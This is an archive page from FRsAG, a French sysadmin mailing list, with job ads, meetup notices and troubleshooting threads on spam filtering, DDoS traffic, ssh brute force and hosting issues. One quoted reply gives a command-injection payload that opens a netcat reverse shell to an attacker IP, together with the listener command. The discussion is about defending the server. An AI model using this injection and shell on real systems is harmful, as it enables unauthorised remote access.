- FRsAG - frsag.org

SpamAssassin GB_CUSTOM_HTM_URI
by David Ponzone 26 Jul '24

26 Jul '24

Bonsoir, Je cherche à comprendre le flag GB_CUSTOM_HTM_URI que SpamAssassin met à 1.5 sur un mail que je reçois. Y a une doc qqpart de ce flag ? Merci David

4 8

Recherche d'alternance administrateur d'infrastructures sécurisées
by Ilyass RAITI 21 Jul '24

21 Jul '24

Bonjour à tous, Je suis actuellement à la recherche d'une alternance afin de poursuivre mes études d'une durée de 12 mois à partir du 30 Septembre. J'ai récemment obtenu mon diplôme de TSSR fin Juin, et je poursuis mes études en AIS. Durant mon année de TSSR, j'ai pu acquérir plusieurs compétences dans plusieurs domaines comme le réseau (switch, routeur, protocole, vlan, vpn, etc...), windows (windows server 2022/2016/2012 R2/2012/2008, Windows 7/10/11), les distributions linux (Ubuntu, Debian, Red Hat), IPBX , GLPI et autres. Je recherche dans un secteur accessible par la Gare de Paris Saint-Lazare. Je suis à l'écoute de toute proposition. Cordialement, Ilyass RAITI.

1 0

Recherche alternance,formation DevOps au Campus Numérique de Valence
by Faustin Lammler 13 Jul '24

13 Jul '24

Bonjour, je vous fais suivre ce mail, cela peut peut-être vous intéresser ou vos entreprises. Si vous avez des questions n'hésitez pas, soit en passant par moi (je suis formateur au Campus Numérique) ou en contactant Marcelline Bernard, voir ci-dessous. Bon été ! -- Faustin GPG: F652 BCD1 1AA8 8975 F010 48A5 390A 2F27 832A 5C79 ----- Forwarded message from Marcelline BERNARD <marcelline.bernard(a)le-campus-numerique.fr> ----- Bonjour, Vous êtes à la recherche d'un talent pour compléter votre équipe ? Recruter un apprenant du Campus Numérique in the Alps en alternance, c'est la bonne idée ! Le Campus Numérique in the Alps est un organisme de formation implanté sur le sillon alpin qui forme des personnes en reconversion au développement informatique, au DevOps et à la Data. Nos formations se déroulent en 2 temps : une première période de formation à temps plein dans nos locaux suivie d'un contrat d'alternance d'un an. Actuellement, le Campus Numérique in the Alps de Valence dispense une formation Administrateur Systèmes DevOps avec un départ en alternance en septembre prochain. Nous avons encore une dizaine d'apprenants en recherche d'une alternance (contrat de professionnalisation ou d'apprentissage). Parmi eux peut se trouver un candidat potentiel pour votre entreprise ! Pour information, le programme de la formation : https://le-campus-numerique.fr/wp-content/uploads/2024/01/Programme-Formati… Les avantages de l'alternance : - Former un futur salarié directement sur ses projets et sur ses techno, et l'intégrer à la vie et à la culture de votre entreprise ; - Évaluer l'alternant pendant la durée du contrat avant de proposer une embauche définitive, avec des avantages financiers ; - S'assurer d'intégrer une personne au fait des dernières tendances, outils, langages et frameworks associés. Vous pouvez venir rencontrer nos apprenants un jour à partir de 16h. Le format de cette rencontre : présentation de 10 min de votre entreprise et des missions confiées à l'alternant suivie d'entretiens type « speed meeting » avec les apprenants intéressés. Inscription via ce lien : https://calendly.com/marcelline-bernard/jobdatingdevops Nous pouvons également nous adapter à un autre format à votre convenance, n'hésitez pas à me contacter par mail ( marcelline.bernard(a)le-campus-numerique.fr) ou par téléphone (06 21 00 66 54). Restant à votre disposition pour toute information complémentaire, Bonne journée, -- *Marcelline Bernard* *Coordinatrice administrative et pédagogique* *Nouvelle adresse* *Tel : 06 21 00 66 54* *M3 Rovaltain* *1 rue Roland Moreno * *26300 Alixan* ----- End forwarded message -----

3 2

DMARK lecture des rapports
by Théo VARIER 08 Jul '24

08 Jul '24

Bonjour, Je cherche un truc open source que je pourrais installer sur mon infra, qui lit la boite mail de mes rapports DMARK, ouvre les mails, extrait les rapports et les agrège dans un truc lisible. Pour une fois je n'ai pas du tout cherché, je m'en remets à ceux qui on un peu d'expérimenté l'exploitation des rapports DMARK.. Merci les colistiers -- Théo

9 8

Fin de vie ISC DHCP relay
by Louis Scalbert 06 Jul '24

06 Jul '24

Bonjour à tous, ISC DHCP relay n'est plus maintenu. https://www.isc.org/blogs/dhcp-client-relay-eom/ Autant pour le serveur, ISC a sorti Kea DHCP mais n'a rien prévu pour le relai. Qu'utilisez-vous comme relai Open-source ? Qu'avez-vous essayé ? Quels sont vos retours ? cordialement,

2 1

[JOBS] - Recherche admin windows / ms365 - la défense / boulogne billancourt
by Laurent CARON 02 Jul '24

02 Jul '24

Bonjour à tous, Nous cherchons un (ou une) administrateur MS365/Windows/AD/... pour compléter une petite équipe (8 personnes actuellement). Lieu d'activité: - La défense (90%) / Boulogne-Billancourt (10%) puis Malakoff (90%) / Issy-les-moulineaux (10%). Le Poste : L'équipe a en charge les activités de support et d’administration du SI pour un groupe desservant 500 collaborateurs. ==== Pour les activités de Support ==== - Traitement des tickets d’incidents transmis par les collaborateurs - Enrichissement de la base de connaissance, - Étant entendu que les activités support traitent aussi bien des incidents techniques que des demandes fonctionnelles. ==== Pour les activités d'Administration ==== - Administration du tenant du client. - Gestion des BAL, ACLs, ... - Traitement des demandes non outillées par ailleurs : exemples changement d’adresse mail, affectation de profils spécifiques, - Participation à la mise en œuvre des profils d’administration liés à la sécurité , ==== Le profil que nous recherchons ==== Expérience impérative sur les sujets administration d’Office 365 : - Fonctionnement des différents outils de la suite Office 365, et particulièrement pour cette prestation : EXCHANGE, - Gérer les droits et les accès des utilisateurs sur Office 365, - Configurer les services O365 (Exchange, Teams, OneDrive) - Mettre en place les stratégies (policies des services O365), - Maîtrise de la console d’administration Office 365, - Délégations offertes par Office 365. - La maitrise des GPO étant un plus indéniable. ==== ==== ==== ==== ==== ==== ==== ==== ==== Briques techniques: - Exchange (Administration) - Office 365 (Administration tenant) - SharePoint - OneDrive - Teams - Windows (Domaine, GPO, déploiement de postes, ...) Qualités personnelles recherchées: - Volontaire et curieux - Esprit d’équipe - Sens du service et de la communication - Fiable et rigoureux - Ponctuel Déplacements ponctuels à prévoir (IDF + France métropolitaine) en train / avion. Permis B souhaitable (pas indispensable) Si vous n'avez pas encore abandonné à la lecture de ce qui figure ci-dessus et que vous êtes motivé, n'hésitez pas à m'envoyer votre CV. Laurent ________________________________ Ce message et éventuellement les pièces jointes, sont exclusivement transmis à l'usage de leur destinataire, et leur contenu est strictement confidentiel. Si vous recevez ce message par erreur, merci de le détruire et d'en avertir immédiatement l'expéditeur. Vous n'êtes en effet pas autorisé, dans cette hypothèse, à copier, distribuer ou conserver ce message.

1 1

Bloquer attaque http, ip multiple
by David M 28 Jun '24

28 Jun '24

Bonjour à tous, J'ai de plus en plus (chez moi ou chez des clients) d'aspiration de contenu et/ou /d'attaque DDoS un peu pauvre (difficile à dire) et c'est difficile à contrer parce que ça vient de pool d'IP qui change quasi à chaque requête :/ * X.Y.202.142 * X.Y.65.224 * X.Y.96.202 * Z.A.202.138 * Z.A.65.196 * Z.A.96.206 Bien sûr ce sont des IP qui provient de Singapour, de Russie... du trafic illégitime au vu des requêtes / du nombres... Et ça génère de gros ralentissements/fait monter le load bien fort et les requêtes légitimes n'ont plus de place... Pour l'instant je monitore et je bloque des subnet entier (exemple X.Y.0.0/24) Vous vous doutez bien que j'ai pas vraiment envie d'aller vers des trucs à la cloudflare... mais existe-t-il un équivalent "self hosted" et libre ? L'idée de bloquer le trafic par pays ici n'est pas envisageable en plus d'être extrêmement peu fiable... *Une idée serait de faire un programme qui fait ce que je fais. À savoir consulter le server-status et émettre des hypothèses de trafic illégitime + bloquer celui-ci. Mais ça existe peut-être déjà ?* Note : j'ai pas la main sur les connexions réseaux...ce sont des VPS et/ou des Proxmox avec des LXC qui ce fond attaquer... David -- https://retzo.net/ Tél port : 0663691604 Tél fix : 0972199940 Lundi|Mardi|Jeudi 9h30-16h ou Mercredi|Vendredi 9h30-12h

6 5

Apéro Lyonnais : lundi 01 juillet 2024
by Camille 28 Jun '24

28 Jun '24

Bonjour Pour finir l'année (scolaire, pourrie, pré estivale, ...), c'est bien lundi prochain qu'aura lieu notre prochain apéro. Ensuite on se reverra soit en septembre, soit en octobre, selon la motivation suivant les congés de chacun(e). Vous êtes attendu lundi prochain pour un apéro lyonnais et ses environs au : Malting-Pot 263 Grande Rue de la Guillotiere, 69007 soit ce lundi 1 juillet 2024 dès 19h. Et toujours vaguement des infos sur : http://www.agendadulibre.org/tags/araas https://www.meetup.com/fr-FR/Auvergne-Rhone-Alpes-Apero-Admin-Sys/ Km

1 0

Scaleway Dedibox - mise a jour 20.04 vers 22.04 - erreur 404
by Frederic Dumas 07 Jun '24

07 Jun '24

Bonjour à tous, pas d'autre solution que d'abandonner le dépôt mirrors.online.net/ubuntu et de repasser sur fr.archive.ubuntu.com/ubuntu pour mettre à jour une dedibox de 20.04 vers 22.04. Autrement, j'avais systématiquement l'erreur ci-dessous. Ça ressemble à un problème de configuration des dépôts miroirs. Est-ce un problème observé par d'autres ? -- Frédéric Dumas f.dumas(a)ellis.siteparc.fr Error during update A problem occurred during the update. This is usually some sort of network problem, please check your network connection and retry. E:Failed to fetch http://mirrors.online.net/ubuntu/dists/jammy/main/binary-i386/Packages 404 Not Found [IP: 51.159.47.195 80], E:Failed to fetch http://mirrors.online.net/ubuntu/dists/jammy-updates/main/binary-i386/Packa… 404 Not Found [IP: 51.159.47.195 80], E:Failed to fetch http://mirrors.online.net/ubuntu/dists/jammy-backports/main/binary-i386/Pac… 404 Not Found [IP: 51.159.47.195 80], E:Some index files failed to download. They have been ignored, or old ones used instead. Restoring original system state Aborting

3 4

Apéro Lyonnais : lundi 03 juin 2024
by Camille 03 Jun '24

03 Jun '24

Bonjour Pour ce mois ci, c'est bien ce soir qu'aura lieu notre prochain apéro. Et comme vous pouvez le constater, j'ai bien pris en compte vos retours pour vous prévenir en avance ... Je vous attends donc ce soir soir pour un apéro lyonnais et ses environs au : Malting-Pot 263 Grande Rue de la Guillotiere, 69007 soit ce lundi 3 juin 2024 dès 19h. Et toujours vaguement des infos sur : http://www.agendadulibre.org/tags/araas https://www.meetup.com/fr-FR/Auvergne-Rhone-Alpes-Apero-Admin-Sys/ Km

1 0

Re: Attaques http tous azimuts en hausse ou pas ?
by darcosion＠protonmail.com 24 May '24

24 May '24

Bonjour, Enfin un sujet sur lequel je peux apporter mon expertise :) Vu la description, cela ressemble à un ciblage test de l'attaquant pour valider son "botnet" et par la suite, le monétiser. C'est le fait que ça soit hyper ponctuel qui me dise cela, en général un vrai attaquant DDOS essaiera de mettre à terre l'infra sur plusieurs heures/jours au minimum. Après, comme dit M. Ponzone, cible, pattern, forme des attaquants, toute indice est bon à prendre pour qualifier cela. A ta dispo pour en discuter dans le détail o/ Bien cordialement, Darcosion > Le vendredi 24 mai 2024 à 13:30, Daniel Caillibaud ml(a)lairdutemps.org a écrit : > > > Bonjour, > > > > Je bosse pour une asso qui n'a rien de politique ni d'essentiel, et on se prend depuis qq jours > > bcp d'attaques dDOS très bourrines mais très distribuées (des centaines d'ip ≠ qui passent sous > > les radars anti-dos avec 3~10 req/s chacune). > > > > Ça reste ponctuel (des tranches de 5min) et cause peu de dégâts (des erreurs 50x et un load qui > > monte un peu), je me demandais si c'était généralisé. > > > > -- > > Daniel > > > > Internet permet à ceux qui n'ont rien à dire de le dire quand même. > > Toorop > > _______________________________________________ > > Liste de diffusion du %(real_name)s > > http://www.frsag.org/

3 6

Re: Attaques http tous azimuts en hausse ou pas ?
by darcosion＠protonmail.com 24 May '24

24 May '24

Bonjour, Oui, je confirme, ClaudBot est un acteur que nous avons vu apparaitre depuis plusieurs mois sur l'ensemble de nos clients (qui pour le coup sont extrêmement variés !). Vu le comportement de scrapping du Bot et son origine, notre hypothèse actuelle est qu'il s'agit d'une entreprise "IA" qui est en train de collecter tout internet pour se constituer un gros dataset pour l'apprentissage de son LLM (sans respecter aucune règle bien évidemment). Chez nous, nous avons purement et simplement bloqué ClaudBot et sommes en cours de création d'une réponse à la collecte sous la forme de pollution de leur dataset, l'idée c'est que si quelqu'un prompt quelque chose en rapport avec un de nos [CLIENT] le token ClaudBot donnera "[CLIENT] ne tolère pas la collecte de Bot LLM mais il laisse la possibilité de contacter depuis cette adresse web". Bien cordialement, Darcosion > Le vendredi 24 mai 2024 à 14:27, Pierre DOLIDON sn4ky(a)sn4ky.net a écrit : > > > de mon côté, j'ai surtout remarqué un trafic intempestif provenant de > > ClaudeBot, qui va carrément ignorer le Crawl-Delay qu'on a pu mettre > > dans les robots.txt, venant à coup de plusieurs dizaines de requetes par > > secondes, particulièrement dans les champs de recherche des sites > > (souvent trop mal optimisés).. mettant les sites en PLS.... > > https://www.google.com/search?q=ClaudeBot > > a priori je suis pas le seul concerné ! > > > > Le 24/05/2024 à 13:49, David Ponzone a écrit : > > > > > C’est quoi la cible ? > > > Une IP exposée (site web ou autre), ou random ? > > > > > > Les sources sont random ? Spoofées ? géo-filtrables ? > > > > > > David > > > > > > > Le 24 mai 2024 à 13:30, Daniel Caillibaud ml(a)lairdutemps.org a écrit : > > > > > > > > Bonjour, > > > > > > > > Je bosse pour une asso qui n'a rien de politique ni d'essentiel, et on se prend depuis qq jours > > > > bcp d'attaques dDOS très bourrines mais très distribuées (des centaines d'ip ≠ qui passent sous > > > > les radars anti-dos avec 3~10 req/s chacune). > > > > > > > > Ça reste ponctuel (des tranches de 5min) et cause peu de dégâts (des erreurs 50x et un load qui > > > > monte un peu), je me demandais si c'était généralisé. > > > > > > > > -- > > > > Daniel > > > > > > > > Internet permet à ceux qui n'ont rien à dire de le dire quand même. > > > > Toorop > > > > _______________________________________________ > > > > Liste de diffusion du %(real_name)s > > > > http://www.frsag.org/ > > > > _______________________________________________ > > > > Liste de diffusion du %(real_name)s > > > > http://www.frsag.org/ > > > > _______________________________________________ > > Liste de diffusion du %(real_name)s > > http://www.frsag.org/

1 0

Attaques http tous azimuts en hausse ou pas ?
by Daniel Caillibaud 24 May '24

24 May '24

Bonjour, Je bosse pour une asso qui n'a rien de politique ni d'essentiel, et on se prend depuis qq jours bcp d'attaques dDOS très bourrines mais très distribuées (des centaines d'ip ≠ qui passent sous les radars anti-dos avec 3~10 req/s chacune). Ça reste ponctuel (des tranches de 5min) et cause peu de dégâts (des erreurs 50x et un load qui monte un peu), je me demandais si c'était généralisé. -- Daniel Internet permet à ceux qui n'ont rien à dire de le dire quand même. Toorop

3 2

Apéro Lyonnais : lundi 13 mai 2024
by Camille 13 May '24

13 May '24

Bonjour Pour ce mois ci, on aura une semaine de retard, et c'est donc ce soir ce lundi 13 mai qu'aura lieu le prochain apéro. Je vous attends donc ce soir soir pour un apéro lyonnais et ses environs au : Malting-Pot 263 Grande Rue de la Guillotiere, 69007 soit ce lundi 13 mai 2024 dès 19h. Et toujours vaguement des infos sur : http://www.agendadulibre.org/tags/araas https://www.meetup.com/fr-FR/Auvergne-Rhone-Alpes-Apero-Admin-Sys/ Km

1 0

systemd networkd et L2TP
by Tr4sK 09 May '24

09 May '24

Bonjour, Ca fait quelques temps que je me gratte la tête sur la création d'un NetDev l2tp avec systemd-networkd Je commence le ficher par [NetDev] Kind=l2tp Je parcours la doc et ajoute les options pour l2tpEncapsulationType=ip. Mais je ne vois rien arriver de pertinent dans les logs. Est-ce que quelqu'un à déja réussi à le faire tomber en marche ? J'y arrive avec les commandes ip l2tp Quelques traces de ma config et quelques tests https://paste.sh/fiKH_IFO#g9yTHCsiJYj-bccB3l3HP8uo Et pour info, j'ai tenté une mise à jour de systemd vers stable-backports sans amélioration visible. systemd/stable-backports,now 254.5-1~bpo12+3 amd64 [installé] systemd/stable 252.22-1~deb12u1 amd64 Bon weekend :)

1 0

[Kimsufi] Migration vers OVHCloud Eco
by Michaël Costa 04 May '24

04 May '24

Bonjour à toutes et tous, J'ai récemment commandé un nouveau serveur Kimsufi en complément des deux serveurs dédiés que je loue déjà et j'ai été surpris de m'apercevoir que ce nouveau serveur n'apparaît pas dans le dashboard de mon compte Kimsufi mais dans celui de mon compte OVHCloud. D'après la KB0043466 https://help.ovhcloud.com/csm/fr-dedicated-servers-ovhcloud-control-panel-g…, il semble que les gammes Kimsufi et So you Start soient dorénavant regroupées sous la dénomination "Eco" d'OVHCloud. Ça fait sens d'un point de vue business et en tant que tel cela ne me pose pas plus de problème que ça mais pour faciliter la gestion de mes serveurs je souhaiterai y accéder au travers d'une interface unique. Je n'ai trouvé aucune KB qui expliquerait comment migrer un serveur existant de Kimsufi à OVHCloud Eco pas plus que de bouton pour "exporter" ou "importer" de l'un vers l'autre mais je suis peut-être passé à coté. Quelqu'un sur cette liste saurait-il si c'est possible ? Si oui, comment faire ? Autres questions: - Si l'objectif d'OVH est de rationaliser/uniformiser la gestion de ces espaces clients et de ces offres, une migration automatique vers le dashboard OVHCloud est-elle prévue ? Si oui, à quelle échéance ? Merci pour vos réponses éclairées. -- Michaël Costa MCO System https://www.mcos.nc Architecture et administration système Unix/Linux DevOps, Formation et Maintien en Condition Opérationnelle Mail: michael.costa(a)mcos.nc GSM: +687 71 32 33

2 2

Re: [SPAM] Re: Filtrage de message au runtime
by Ludovic Levet 02 May '24

02 May '24

Le minimum que l'on fait pour un serveur web frontal de ce type est de mettre en place le mod_security d'apache avec les customs rules qui vont bien ... Et d'y ajouter le bon core rule set : https://github.com/coreruleset/coreruleset J'ai quand même fait l'essai sans le mod_security et ta proposition ne fonctionne pas ... Ce qui ne m’étonne pas car il y a la rule /etc/sudoers.d/httpd Ludo. Nop, ca marche pas. Le 02/05/2024 à 06:45, Julien Reitzel a écrit : > Hello, > > au vu du morceau de php indiqué, il suffit d'envoyer le formulaire avec : > ; nc <IP attaquant> 5555 -e /bin/bash > > du côté attaquant lancer : > $ nc -lvp 5555 > > Et voilà un reverse shell simpliste qui contourne l'auth ssh. > > -- ------------------------------------------------------------------------------------------------------------------------- Ce message inclut une signature numérique. Il certifie que l'expéditeur et le contenue du message sont authentiques. Si votre logiciel de messagerie est compatible, Il doit garantir que le document n'a pas été altéré entre l'instant où l'auteur l'a signé et le moment où le lecteur le consulte. Loi n°2000-230 du 13 mars 2000 Art. 1316, 1316-1, 1316-2, 1316-3, 1316-4 du Code civil. La présence d'un fichier joint 'smime.p7s' (fichier signature) indique que votre client messagerie n'est pas compatible. -------------------------------------------------------------------------------------------------------------------------

4 6

Toc toc un support de chez Gandi ?
by Théo VARIER 02 May '24

02 May '24

Bonjour la liste, c'est une bouteille à la mer : Y a t il quelqu'un de chez Gandi sur cette liste ? Gandi m'a fourni un certificat SSL Std pour un domain sans le sous domaine www. C'est à dire que le certificat est valide pour domain.tld mais pas www.domain.tld Même en régénérant le certificat en utilisant leur ligne de commande pour générer la requête. C'est une première depuis que le service existe ! Pas de réponse à mon ticket depuis hier. Le chat en ligne ne fonctionne pas. Le telephone répond qu'il faut utiliser le formulaire en ligne ... sont ils eux aussi devenus décérébrés, pardon je veux dire, inaccessibles ? En tout cas ils sont devenus complètement hors sol en un temps record ! NB : Aller voir ailleurs n'est pas encore le projet. Merci d'avance Théo VARIER

20 52

Re: Filtrage de message au runtime
by Ludovic Levet 02 May '24

02 May '24

C'est pas faux. C'est jamais une bonne idée de donner des commandes accessible par apache. Bon après, il y a la sécurité filesystem qui fera que ce user (apache) ai le même pourvoir qu'un user lamda sur ton linux et de plus les commandes ne peuvent être utilisées que par le core apache car le mod_security ne permet pas d'utilisé quoique ce soit. Elle en aura fait du chemin cette petite chauves-souris. Et surtout sans déclencher le fail2ban (avec alertes qui vont biens) sur une url qui n'est censée être connu que par des admins. Bref. Rien n'est malheureusement infaillible. Le 01/05/2024 à 22:25, Paul Rolland (ポール・ロラン) a écrit : > Bonjour, > > On Wed, 1 May 2024 21:33:42 +0200 > Ludovic LEVET via FRsAG <frsag(a)frsag.org> wrote: > >> 3) Bon ... (Mode Bigard On ..) En admettant que la chauves-souris elle >> trouve le code de la porte , elle connaisse l’étage de ton appart et >> qu'elle connaisse aussi ton numéro de porte ben elle ouvres son ip au >> ssh et ben il lui reste plus qu'a attaquer l'auth ssh ... > Elle aura surement plus envie de regarder ce que le sudo sur echo et sed > peut lui permettre via apache et la page web ;) > > Paul >

2 2

[frsag.org] E-mail de réinitialisation de mot de passe
by greg＠frsag.org 02 May '24

02 May '24

Bonjour, c'est frsag.org ! You are receiving this e-mail because you or someone else has requested a password for your user account. However, we do not have any record of a user with email frsag(a)frsag.org in our database. This mail can be safely ignored if you did not request a password reset. If it was you, you can sign up for an account using the link below. https://frsag.org/accounts/signup/ Merci d'utiliser frsag.org ! frsag.org

1 0

Re: [SPAM] Re: [SPAM] Re: Filtrage de message au runtime
by Laurent Barme 02 May '24

02 May '24

Le 02/05/2024 à 09:16, Luc Bégault via FRsAG a écrit : > il me parrait préférable de se reposer sur du code trés surveillé comme ssh A propos, est-ce que la faille concernant lzma a été corrigée ? Y a-t-il une meilleure source d'infirmation que https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1068024 ? Sur ce fil le dernier message date du 22 avril sans qu'il soit clair (du moins pour moi) que le problème soit résolu…

1 0

Filtrage de message au runtime
by Stéphane Rivière 01 May '24

01 May '24

Bonjour à toutes et tous, J'ai, comme tout le monde j'imagine, de la brute force via ssh, qui déclenche le très agaçant message en console "fatal: Read from socket failed: Connection reset by peer [preauth]" Ici y'a que de la clé (et passwords invalidés) je ne peux pas filtrer sur les IP entrantes, ni changer le port 22, le plus simple me semble donc d'ignorer la chose. J'ai googlé et ducké sans succès pour voir s'il y avait un moyen de dire au démon sshd de limiter sa prose aux fichiers de logs sans polluer la console. man sshd ou man sshd_config ne m'ont rien dit de sympa (mais j'ai peut être raté une ligne). Avez-vous une opinion ? Ça serait bien de faire un ménage de printemps :) -- Stéphane Rivière Ile d'Oléron - France

10 24

OVH Maintenance éléctrique avec coupure possible sur GRA1&GRA2 le 29/04 & 02/05
by Maximilien Douchet 26 Apr '24

26 Apr '24

Bonjour, Loin de moi l'idée de créer un vent de panique avec le tag [ALERT] mais je pense que cela pourrait intéresser du monde vu l'impact potentiel de la maintenance. (Désolé également pour le doublon sur FRnOG D'après une communication de leur part il semblerais que OVH viens de planifier en urgence une maintenance électrique dans l’intégralité de ses datacenters de Gravelines (GRA1, GRA2, GRA3 & GRA4) les 29/04 et 02/05 (lundi et jeudi de la semaine prochaine S18). Un risque de coupure électrique est envisagé sur au moins les datacenters GRA1 & GRA2 d'après leur communication pendant toute la journée du 29/04 et 02/05 de 8h-16h CEST. Avec un tel risque il est préférable de procéder a une extinction des serveurs au préalable durant les deux journées de maintenance. Il n'y a pas de précisions supplémentaires quand aux serveurs double-alimentés, etc. j'imagine qu'ils sont également concernés par mesure de prudence. Une maintenance de ce type avec coupure dans un délai aussi court est aussi inédite qu'exceptionnelle je suppose que cela est fait pour des raisons très importantes. Vu la capacité des datacenters de Gravelines cela doit concerner (avec une estimation au doigt mouillé) entre 50 000 et 100 000 serveurs. J'imagine que certaines dispositions peuvent être a prendre pour les infrastructures n'étant pas redondées en dehors des datacenters de Gravelines ou au moins pour préserver vos serveurs avec une extinction préalable. Communication OVH : ****FR**** Cher client, Nous devons effectuer une maintenance électrique préventive sur le site de Gravelines la semaine prochaine. Celle-ci se déroulera en 2 étapes, avec une première opération le 29 avril 2024, et une seconde le 2 mai 2024. Cette maintenance touche les serveurs hébergés dans les environnements de Gravelines (GRA1, GRA2, GRA3 et GRA4). Aucun impact n’est attendu sur le périmètre GRA3 et GRA4. Concernant le périmètre GRA1 et GRA2, un risque de coupure électrique a été identifié. Pour vous prémunir de tout impact, nous vous conseillons au préalable d’éteindre vos machines avant chacune des opérations mentionnées ci-dessous : Opération de maintenance (No1) : Créneau : 29/04/2024 de 06:00 UTC à 14:00 UTC Datacenter : Gravelines (GRA1 / GRA2) Impact attendu : Certains serveurs pourraient subir une interruption électrique Page Status : https://network.status-ovhcloud.com/incidents/f8yhd573wk5j Opération de maintenance (No2) : Créneau : 02/05/2024 de 06:00 UTC à 14:00 UTC Datacenter : Gravelines (GRA1 / GRA2) Impact attendu : Certains serveurs pourraient subir une interruption électrique Page Status : https://network.status-ovhcloud.com/incidents/172569g1l20w Nos équipes Datacenter et Support seront mobilisées durant toute la maintenance afin de résoudre tout impact sur vos services. Nous nous excusons par avance pour toute gêne occasionnée. Sincèrement, — Maximilien Douchet Hexanode - Hébergement & Infogérance hexanode.fr - contact(a)hexanode.fr - +339 72 60 54 00

2 4

Re: Filtrage de message au runtime
by David Ponzone 25 Apr '24

25 Apr '24

Paul, Alors oui, j’aurais été tenté de penser pareil, mais je vois que mon sshd sur une Debian classique log déjà vers AUTH.INFO, alors que les lignes de conf sont commentées. Donc ça doit être configuré par défaut, donc je sais pas si enlever les commentaires vont supprimer l’envoi des messages au kernel. Faudrait essayer :) David > Le 25 avr. 2024 à 15:16, Paul Rolland (ポール・ロラン) <rol+frnog(a)witbe.net> a écrit : > > Hello, > > On Thu, 25 Apr 2024 14:56:32 +0200 > David Ponzone <david.ponzone(a)gmail.com> wrote: > >> https://unix.stackexchange.com/questions/13019/description-of-kernel-printk… >> <https://unix.stackexchange.com/questions/13019/description-of-kernel-printk…> > > Le chemin complet, c'est pas plutot : > - sshd avec sshd_config qui contient > # Logging > #SyslogFacility AUTH > #LogLevel INFO > > - [r]syslog qui sait interpreter tout ca, et qui envoie, selon les regles, > vers des fichiers et/ou la console > > Aller directement sur les printk level de la console, ca peut le faire, > mais ca risque de masquer d'autres choses. > > Paul >

2 2

[JOBS] Technicien HelpDesk et Systèmes (avec évolution)
by open doc 22 Apr '24

22 Apr '24

Bonjour, je vous partage une offre d’emploi qui sera bientôt publiée. l'offre est situé sur Vernouillet dans le 78. Pour aller plus loin que les critères techniques, je cherche quelqu'un avec un bon tempérament, qui a envie de d'apprendre et de s’investir. Nous sommes une petite structure, Nous sommes agiles, flexibles et disponibles. L'idée est que la personne, au delà de l’aspect HelpDesk, souhaite progresser sur la partie administration système linux, virtualisation, et monitoring. Je prendrai le temps de former pour déléguer afin que je puisse aussi faire évoluer notre outillage vers des socles techniques plus récents. Nous avons embaucher pas mal de jeune dev (23-28 ans), il y a une bonne ambiance et une bonne dynamique. Pour ma part les compétences, l'investissement, l'envie d'apprendre sont plus importants que le diplôme. Après je ne suis pas le seul a décider, mais j'ai mon mot à dire sur le recrutement. Quant au salaire cela sera à négocier avec le DG lors de l'entretien. Vous pouvez me contacter directement sur ce mail avant d'envoyer votre candidature officielle. Voici l'annonce officielle : METEO CONSULT - La Chaîne Météo est la première société française privée et indépendante de prévisions et d'études météorologiques en France. Créée en 1988, nous sommes le seul acteur opérant dans le secteur de la météorologie à maîtriser l'ensemble des canaux de diffusion : Internet, applications mobiles, tablettes, Audiotel, ... et bien sûr la télévision avec La Chaîne Météo, diffusée sur Canal et en streaming. Nos différents sites web (lachainemeteo.com et meteoconsult.fr) et nos applications mobiles La Chaîne Météo et METEO CONSULT Marine (sous iPhone et Android) réalisent plus de 8 millions de pages vues par jour, notamment grâce à la fluidité des développements effectués en interne, à un contenu éditorial réactualisé plusieurs fois par jour et à une infrastructure informatique performante. METEO CONSULT, édite le BLOC MARINE, guide de référence pour la navigation depuis plus de 60 ans, ainsi que ses variantes numériques et son site Nautisme.com, pour les passionnés de nautisme. Sous la responsabilité de votre responsable, vos missions seront d’assister les utilisateurs internes et d’aider à la gestion et à la supervision de nos moyens de production informatique. De formation minimum bac+2, et avec une solide expérience dans un ou des postes similaires, vous devez avoir les compétences suivantes : - une forte expertise du monde Windows (PC et serveur), - une bonne connaissance des systèmes d’exploitation Apple, - une bonne connaissance des environnements Linux (Debian), - une bonne connaissance des langages de script (sh, bash, ksh) Les compétences suivantes seraient un plus : - connaissance des environnements de virtualisation (VmWare), - connaissance des réseaux (CISCO) - connaissance des applicatifs informatiques web (Nginx), du Loadbalancing (HAProxy), - connaissance des outils de supervision comme Nagios, Grafana. - connaissance des baies de stockage (SAN/NAS), - connaissance de l’administration des serveurs de bases de données (MySQL). L'autonomie, le pragmatisme, l'enthousiasme, la rigueur, le dynamisme, la curiosité, la disponibilité, l'esprit d'équipe et la veille technologique sont des qualités requises pour ce poste. Vous êtes orienté client interne et êtes force de proposition quant aux solutions techniques choisies. Vous avez un excellent relationnel et vous savez faire preuve de patience. Vous participerez en alternance avec les autres membres de l'équipe d’exploitation aux astreintes (week-ends et jours fériés). Le poste est basé à Vernouillet (78), véhicule indispensable pour les trajets domicile-travail. Des déplacements en datacenters sont à prévoir. Rémunération en fonction des diplômes et de l'expérience. Poste à pourvoir de suite. Envoyez votre candidature avec la référence MC-HelpDesk-Systèmes-202404 (lettre de motivation et CV) par e-mail à drh(a)meteoconsult.com

1 0

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

FRsAG